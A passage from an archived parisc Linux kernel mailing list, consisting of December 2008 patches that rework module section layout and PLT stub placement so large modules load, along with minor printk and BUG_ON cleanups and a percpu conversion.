-#define INIT_OFFSET_MASK (1UL << (BITS_PER_LONG-1))
+#define INIT_LAYOUT_MASK (1UL << (BITS_PER_LONG-1)) /* section-layout done  */
+#define INIT_OFFSET_MASK (1UL << (BITS_PER_LONG-2)) /* part of init section */
+#define INIT_STRIP_MASK  (INIT_OFFSET_MASK | INIT_LAYOUT_MASK)
 
 /* List of modules, protected by module_mutex or preempt_disable
  * (delete uses stop_machine/add uses RCU list operations). */
@@ -1583,6 +1584,8 @@ static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
 {
 	long ret;
 
+	/* architectures can request sh_entsize bytes in front of a section */
+	*size += (sechdr->sh_entsize & ~INIT_STRIP_MASK);
 	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
 	*size = ret + sechdr->sh_size;
 	return ret;
@@ -1590,8 +1593,8 @@ static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
 
 /* Lay out the SHF_ALLOC sections in a way not dissimilar to how ld
    might -- code, read-only data, read-write data, small data.  Tally
-   sizes, and place the offsets into sh_entsize fields: high bit means it
-   belongs in init. */
+   sizes, and place the offsets into sh_entsize fields: INIT_OFFSET_MASK
+   indicates that it belongs in init. */
 static void layout_sections(struct module *mod,
 			    const Elf_Ehdr *hdr,
 			    Elf_Shdr *sechdrs,
@@ -1608,9 +1611,6 @@ static void layout_sections(struct module *mod,
 	};
 	unsigned int m, i;
 
-	for (i = 0; i < hdr->e_shnum; i++)
-		sechdrs[i].sh_entsize = ~0UL;
-
 	DEBUGP("Core section allocation order:\n");
 	for (m = 0; m < ARRAY_SIZE(masks); ++m) {
 		for (i = 0; i < hdr->e_shnum; ++i) {
@@ -1618,11 +1618,12 @@ static void layout_sections(struct module *mod,
 
 			if ((s->sh_flags & masks[m][0]) != masks[m][0]
 			    || (s->sh_flags & masks[m][1])
-			    || s->sh_entsize != ~0UL
+			    || (s->sh_entsize & INIT_LAYOUT_MASK)
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) == 0)
 				continue;
-			s->sh_entsize = get_offset(&mod->core_size, s);
+			s->sh_entsize = get_offset(&mod->core_size, s)
+					| INIT_LAYOUT_MASK;
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1636,12 +1637,12 @@ static void layout_sections(struct module *mod,
 
 			if ((s->sh_flags & masks[m][0]) != masks[m][0]
 			    || (s->sh_flags & masks[m][1])
-			    || s->sh_entsize != ~0UL
+			    || (s->sh_entsize & INIT_LAYOUT_MASK)
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) != 0)
 				continue;
 			s->sh_entsize = (get_offset(&mod->init_size, s)
-					 | INIT_OFFSET_MASK);
+					 | INIT_OFFSET_MASK | INIT_LAYOUT_MASK);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1986,7 +1987,11 @@ static noinline struct module *load_module(void __user *umod,
 
 	mod->state = MODULE_STATE_COMING;
 
-	/* Allow arches to frob section contents and sizes.  */
+	/* Allow arches to frob section contents, sh_entsize will tell the
+	 * the section layouter how much space to allocate in front of each
+	 * section */
+	for (i = 0; i < hdr->e_shnum; i++)
+		sechdrs[i].sh_entsize = 0UL;
 	err = module_frob_arch_sections(hdr, sechdrs, secstrings, mod);
 	if (err < 0)
 		goto free_mod;
@@ -2034,11 +2039,9 @@ static noinline struct module *load_module(void __user *umod,
 		if (!(sechdrs[i].sh_flags & SHF_ALLOC))
 			continue;
 
-		if (sechdrs[i].sh_entsize & INIT_OFFSET_MASK)
-			dest = mod->module_init
-				+ (sechdrs[i].sh_entsize & ~INIT_OFFSET_MASK);
-		else
-			dest = mod->module_core + sechdrs[i].sh_entsize;
+		dest = ((sechdrs[i].sh_entsize & INIT_OFFSET_MASK) ?
+			 mod->module_init : mod->module_core)
+			+ (sechdrs[i].sh_entsize & ~INIT_STRIP_MASK);
 
 		if (sechdrs[i].sh_type != SHT_NOBITS)
 			memcpy(dest, (void *)sechdrs[i].sh_addr,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] parisc: fix module loading failure of large modules
 (take 3)
Date: Tue, 30 Dec 2008 20:55:19 +0100
Lines: 406
Approved: news@gmane.org
Message-ID: <495A7CA7.50303@gmx.de>
References: <4959346E.7060600@gmx.de> <495936D0.8060302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230666936 1351 80.91.229.12 (30 Dec 2008 19:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 19:55:36 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <to
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 20:56:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHkhg-0000mM-QR
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 20:56:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752250AbYL3TzU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 14:55:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752268AbYL3TzU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 14:55:20 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:45947 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752226AbYL3TzS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 14:55:18 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 19:55:15 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp023) with SMTP; 30 Dec 2008 20:55:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18cZyhpHvscUzxHuQ8cSubrpkxqfG0RA+xoqZ33Az
	V834Wn//c/GGaP
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <495936D0.8060302@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1053 gmane.linux.kernel:773720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1053>

[PATCH 2/2] parisc: fix module loading failure of large modules (take 3)

On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
fail to reach their PLT stub if we only create one big stub array for
all sections at the beginning of the core or init section.

With this patch we now instead add individual PLT stub entries
directly in front of the code sections where the stubs are actually
called. This reduces the distance between the PCREL location and the
stub entry so that the relocations can be fulfilled.

The kernel module loader will allocate as much memory in front
of the code code segment as we return in the sechdrs.sh_entsize field.

Tested with 32- and 64bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/module.h b/arch/parisc/include/asm/module.h
index c2cb49e..1f41234 100644
--- a/arch/parisc/include/asm/module.h
+++ b/arch/parisc/include/asm/module.h
@@ -23,8 +23,10 @@ struct mod_arch_specific
 {
 	unsigned long got_offset, got_count, got_max;
 	unsigned long fdesc_offset, fdesc_count, fdesc_max;
-	unsigned long stub_offset, stub_count, stub_max;
-	unsigned long init_stub_offset, init_stub_count, init_stub_max;
+	struct {
+		unsigned long stub_offset;
+		unsigned int stub_entries;
+		} *section;
 	int unwind_section;
 	struct unwind_table *unwind;
 };
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 44138c3..aaa0879 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -6,6 +6,7 @@
  *
  *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
  *    Copyright (C) 2003 Randolph Chung <tausq at debian . org>
+ *    Copyright (C) 2008 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -24,6 +25,20 @@
  *
  *
  *    Notes:
+ *    - PLT stub handling
+ *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
+ *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
+ *      fail to reach its PLT stub if we only create one big stub array for
+ *      all sections at the beginning of the core or init section.
+ *      Instead we now insert individual PLT stub entries directly in front of
+ *      of the code sections where the stubs are actually called.
+ *      This reduces the distance between the PCREL location and the stub entry
+ *      so that the relocations can be fulfilled.
+ *      In module_frob_arch_sections() we calculate how many bytes we need for
+ *      the stubs of each section and return this in the sh_entsize field. The
+ *      kernel module layouter will then later reserve this amount of bytes
+ *      in front of the code sections for us.
+ *
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
@@ -58,9 +73,13 @@
 #define DEBUGP(fmt...)
 #endif
 
+#define RELOC_REACHABLE(val, bits) \
+	(( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
+	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) ? \
+	0 : 1)
+
 #define CHECK_RELOC(val, bits) \
-	if ( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
-	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) { \
+	if (!RELOC_REACHABLE(val, bits)) { \
 		printk(KERN_ERR "module %s relocation of symbol %s is out of range (0x%lx in %d bits)\n", \
 		me->name, strtab + sym->st_name, (unsigned long)val, bits); \
 		return -ENOEXEC;			\
@@ -92,13 +111,6 @@ static inline int in_local(struct module *me, void *loc)
 	return in_init(me, loc) || in_core(me, loc);
 }
 
-static inline int in_local_section(struct module *me, void *loc, void *dot)
-{
-	return (in_init(me, loc) && in_init(me, dot)) ||
-		(in_core(me, loc) && in_core(me, dot));
-}
-
-
 #ifndef CONFIG_64BIT
 struct got_entry {
 	Elf32_Addr addr;
@@ -258,6 +270,9 @@ static inline unsigned long count_stubs(const Elf_Rela *rela, unsigned long n)
 /* Free memory returned from module_alloc */
 void module_free(struct module *mod, void *module_region)
 {
+	kfree(mod->arch.section);
+	mod->arch.section = NULL;
+
 	vfree(module_region);
 	/* FIXME: If module_region == mod->init_region, trim exception
            table entries. */
@@ -269,12 +284,18 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 			      CONST char *secstrings,
 			      struct module *me)
 {
-	unsigned long gots = 0, fdescs = 0, stubs = 0, init_stubs = 0;
+	unsigned long gots = 0, fdescs = 0, len;
 	unsigned int i;
 
+	len = hdr->e_shnum * sizeof(me->arch.section[0]);
+	me->arch.section = kzalloc(len, GFP_KERNEL);
+	if (!me->arch.section)
+		return -ENOMEM;
+
 	for (i = 1; i < hdr->e_shnum; i++) {
-		const Elf_Rela *rels = (void *)hdr + sechdrs[i].sh_offset;
+		const Elf_Rela *rels = (void *)sechdrs[i].sh_addr;
 		unsigned long nrels = sechdrs[i].sh_size / sizeof(*rels);
+		unsigned int count, s;
 
 		if (strncmp(secstrings + sechdrs[i].sh_name,
 			    ".PARISC.unwind", 14) == 0)
@@ -290,11 +311,29 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 		 */
 		gots += count_gots(rels, nrels);
 		fdescs += count_fdescs(rels, nrels);
-		if(strncmp(secstrings + sechdrs[i].sh_name,
-			   ".rela.init", 10) == 0)
-			init_stubs += count_stubs(rels, nrels);
-		else
-			stubs += count_stubs(rels, nrels);
+
+		/* XXX: By sorting the relocs and finding duplicate entries
+		 *  we could reduce the number of necessary stubs and save
+		 *  some memory. */
+		count = count_stubs(rels, nrels);
+		if (!count)
+			continue;
+
+		/* so we need relocation stubs. reserve necessary memory. */
+		/* sh_info gives the section for which we need to add stubs. */
+		s = sechdrs[i].sh_info;
+
+		/* each code section should only have one relocation section */
+		WARN_ON(me->arch.section[s].stub_entries);
+
+		/* store number of stubs we need for this section */
+		me->arch.section[s].stub_entries += count;
+
+		/* tell section layouter how much space we need for all stubs
+		 * of this section (including one additional for correct
+		 * alignment of the stubs) */
+		sechdrs[s].sh_entsize = sizeof(struct stub_entry) *
+			(me->arch.section[s].stub_entries + 1);
 	}
 
 	/* align things a bit */
@@ -306,18 +345,8 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 	me->arch.fdesc_offset = me->core_size;
 	me->core_size += fdescs * sizeof(Elf_Fdesc);
 
-	me->core_size = ALIGN(me->core_size, 16);
-	me->arch.stub_offset = me->core_size;
-	me->core_size += stubs * sizeof(struct stub_entry);
-
-	me->init_size = ALIGN(me->init_size, 16);
-	me->arch.init_stub_offset = me->init_size;
-	me->init_size += init_stubs * sizeof(struct stub_entry);
-
 	me->arch.got_max = gots;
 	me->arch.fdesc_max = fdescs;
-	me->arch.stub_max = stubs;
-	me->arch.init_stub_max = init_stubs;
 
 	return 0;
 }
@@ -380,23 +409,27 @@ enum elf_stub_type {
 };
 
 static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
-	enum elf_stub_type stub_type, int init_section)
+	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
-	unsigned long i;
 	struct stub_entry *stub;
 
-	if(init_section) {
-		i = me->arch.init_stub_count++;
-		BUG_ON(me->arch.init_stub_count > me->arch.init_stub_max);
-		stub = me->module_init + me->arch.init_stub_offset + 
-			i * sizeof(struct stub_entry);
-	} else {
-		i = me->arch.stub_count++;
-		BUG_ON(me->arch.stub_count > me->arch.stub_max);
-		stub = me->module_core + me->arch.stub_offset + 
-			i * sizeof(struct stub_entry);
+	/* initialize stub_offset to point in front of the section */
+	if (!me->arch.section[targetsec].stub_offset) {
+		loc0 -= (me->arch.section[targetsec].stub_entries + 1) *
+				sizeof(struct stub_entry);
+		/* get correct alignment for the stubs */
+		loc0 = ALIGN(loc0, sizeof(struct stub_entry));
+		me->arch.section[targetsec].stub_offset = loc0;
 	}
 
+	/* get address of stub entry */
+	stub = (void *) me->arch.section[targetsec].stub_offset;
+	me->arch.section[targetsec].stub_offset += sizeof(struct stub_entry);
+
+	/* do not write outside available stub area */
+	BUG_ON(0 == me->arch.section[targetsec].stub_entries--);
+
+
 #ifndef CONFIG_64BIT
 /* for 32-bit the stub looks like this:
  * 	ldil L'XXX,%r1
@@ -489,15 +522,19 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf32_Addr val;
 	Elf32_Sword addend;
 	Elf32_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 	//unsigned long dp = (unsigned long)$global$;
 	register unsigned long dp asm ("r27");
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf32_Sym *)sechdrs[symindex].sh_addr
 			+ ELF32_R_SYM(rel[i].r_info);
@@ -569,19 +606,32 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 17)
+			if (!RELOC_REACHABLE(val, 17)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 17);
+			}
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
-			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
-			       strtab + sym->st_name, (unsigned long)loc, addend, 
-			       val)
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 22);
+			if (!RELOC_REACHABLE(val, 22)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 22);
+			}
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 
@@ -610,13 +660,17 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf64_Addr val;
 	Elf64_Sxword addend;
 	Elf64_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf64_Sym *)sechdrs[symindex].sh_addr
 			+ ELF64_R_SYM(rel[i].r_info);
@@ -672,42 +726,40 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			DEBUGP("PCREL22F Symbol %s loc %p val %lx\n",
 			       strtab + sym->st_name,
 			       loc, val);
+			val += addend;
 			/* can we reach it locally? */
-			if(!in_local_section(me, (void *)val, (void *)dot)) {
-
-				if (in_local(me, (void *)val))
-					/* this is the case where the
-					 * symbol is local to the
-					 * module, but in a different
-					 * section, so stub the jump
-					 * in case it's more than 22
-					 * bits away */
-					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
-						       in_init(me, loc));
-				else if (strncmp(strtab + sym->st_name, "$$", 2)
+			if (in_local(me, (void *)val)) {
+				/* this is the case where the symbol is local
+				 * to the module, but in a different section,
+				 * so stub the jump in case it's more than 22
+				 * bits away */
+				val = (val - dot - 8)/4;
+				if (!RELOC_REACHABLE(val, 22)) {
+					/* direct distance too far, create
+					 * stub entry instead */
+					val = get_stub(me, sym->st_value,
+						addend, ELF_STUB_DIRECT,
+						loc0, targetsec);
+				} else {
+					/* Ok, we can reach it directly. */
+					val = sym->st_value;
+					val += addend;
+				}
+			} else {
+				val = sym->st_value;
+				if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
 					val = get_stub(me, val, addend, ELF_STUB_MILLI,
-						       in_init(me, loc));
+						       loc0, targetsec);
 				else
 					val = get_stub(me, val, addend, ELF_STUB_GOT,
-						       in_init(me, loc));
+						       loc0, targetsec);
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, loc, sym->st_value,
 			       addend, val);
-			/* FIXME: local symbols work as long as the
-			 * core and init pieces aren't separated too
-			 * far.  If this is ever broken, you will trip
-			 * the check below.  The way to fix it would
-			 * be to generate local stubs to go between init
-			 * and core */
-			if((Elf64_Sxword)(val - dot - 8) > 0x800000 -1 ||
-			   (Elf64_Sxword)(val - dot - 8) < -0x800000) {
-				printk(KERN_ERR "Module %s, symbol %s is out of range for PCREL22F relocation\n",
-				       me->name, strtab + sym->st_name);
-				return -ENOEXEC;
-			}
 			val = (val - dot - 8)/4;
+			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 		case R_PARISC_DIR64:
@@ -794,12 +846,8 @@ int module_finalize(const Elf_Ehdr *hdr,
 	addr = (u32 *)entry->addr;
 	printk("INSNS: %x %x %x %x\n",
 	       addr[0], addr[1], addr[2], addr[3]);
-	printk("stubs used %ld, stubs max %ld\n"
-	       "init_stubs used %ld, init stubs max %ld\n"
-	       "got entries used %ld, gots max %ld\n"
+	printk("got entries used %ld, gots max %ld\n"
 	       "fdescs used %ld, fdescs max %ld\n",
-	       me->arch.stub_count, me->arch.stub_max,
-	       me->arch.init_stub_count, me->arch.init_stub_max,
 	       me->arch.got_count, me->arch.got_max,
 	       me->arch.fdesc_count, me->arch.fdesc_max);
 #endif
@@ -829,7 +877,10 @@ int module_finalize(const Elf_Ehdr *hdr,
 				me->name, me->arch.got_count, MAX_GOTS);
 		return -EINVAL;
 	}
-	
+
+	kfree(me->arch.section);
+	me->arch.section = NULL;
+
 	/* no symbol table */
 	if(symhdr == NULL)
 		return 0;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: trivial fixes
Date: Tue, 30 Dec 2008 23:11:31 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <495A9C93.7040605@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230675113 24870 80.91.229.12 (30 Dec 2008 22:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 22:11:53 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 23:13:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHmpS-0002Nd-5O
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 23:12:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752540AbYL3WL3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 17:11:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752496AbYL3WL3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 17:11:29 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:36650 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752540AbYL3WL2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 17:11:28 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 22:11:26 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp022) with SMTP; 30 Dec 2008 23:11:26 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19jPMgxRSBjgKV+uZMeFlNf/fcwjTynQ8Bt9qlyjj
	3lkofLEJkXF/4D
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1054>

trivial fixes:
- use KERN_WARNING for printk()
- use BUG_ON() instead of "if (xx) BUG();"

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 23ef950..3ee6b33 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -421,5 +422,5 @@ void __init init_IRQ(void)
 
 void ack_bad_irq(unsigned int irq)
 {
-	printk("unexpected IRQ %d\n", irq);
+	printk(KERN_WARNING "unexpected IRQ %d\n", irq);
 }
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index d47f397..148667e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -239,10 +240,7 @@ send_IPI_mask(cpumask_t mask, enum ipi_message_type op)
 static inline void
 send_IPI_single(int dest_cpu, enum ipi_message_type op)
 {
-	if (dest_cpu == NO_PROC_ID) {
-		BUG();
-		return;
-	}
+	BUG_ON(dest_cpu == NO_PROC_ID);
 
 	ipi_send(dest_cpu, op);
 }
@@ -324,8 +322,7 @@ smp_cpu_init(int cpunum)
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
 	current->active_mm = &init_mm;
-	if(current->mm)
-		BUG();
+	BUG_ON(current->mm);
 	enter_lazy_tlb(&init_mm, current);
 
 	init_IRQ();   /* make sure no IRQs are enabled or pending */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Replace NR_CPUS in parisc code
Date: Tue, 30 Dec 2008 23:12:10 +0100
Lines: 406
Approved: news@gmane.org
Message-ID: <495A9CBA.4010003@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230675146 24962 80.91.229.12 (30 Dec 2008 22:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 22:12:26 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 23:13:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHmq6-0002dL-U8
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 23:13:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752496AbYL3WMK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 17:12:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752497AbYL3WMK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 17:12:10 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:55564 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752496AbYL3WMI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 17:12:08 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 22:12:05 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp027) with SMTP; 30 Dec 2008 23:12:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+KVyMF2N+KE1RcGpOXIcPfE/froCCYNVGL9r0LQc
	6tUJNc2cwvvPfk
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1055
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1055>

parisc: Replace most arrays sized by NR_CPUS with percpu variables.

Signed-off-by: Helge Deller <deller@gmx.de>

 include/asm/processor.h |    4 +-
 kernel/irq.c            |    9 +++---
 kernel/perf.c           |    4 +-
 kernel/processor.c      |   68 ++++++++++++++++++++++++------------------------
 kernel/setup.c          |    6 ++--
